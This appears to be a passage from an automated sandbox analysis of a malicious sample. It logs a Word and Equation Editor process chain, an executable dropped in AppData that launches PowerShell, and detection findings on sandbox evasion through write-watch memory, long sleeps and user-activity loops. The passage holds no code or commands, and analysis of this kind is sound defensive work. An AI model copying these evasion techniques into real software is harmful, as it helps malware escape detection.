Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Memory allocated: 230000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Memory allocated: 21E0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Memory allocated: 4E0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Memory allocated: 5B10000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Memory allocated: 5850000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Memory allocated: 6B10000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Memory allocated: 7B10000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Memory allocated: 1B0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Memory allocated: 25E0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Memory allocated: 1B0000 memory reserve | memory write watch Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Thread delayed: delay time: 600000 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1779 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3707 Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Window / User API: threadDelayed 9769 Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Window / User API: foregroundWindowGot 1745 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3288 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe TID: 3436 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
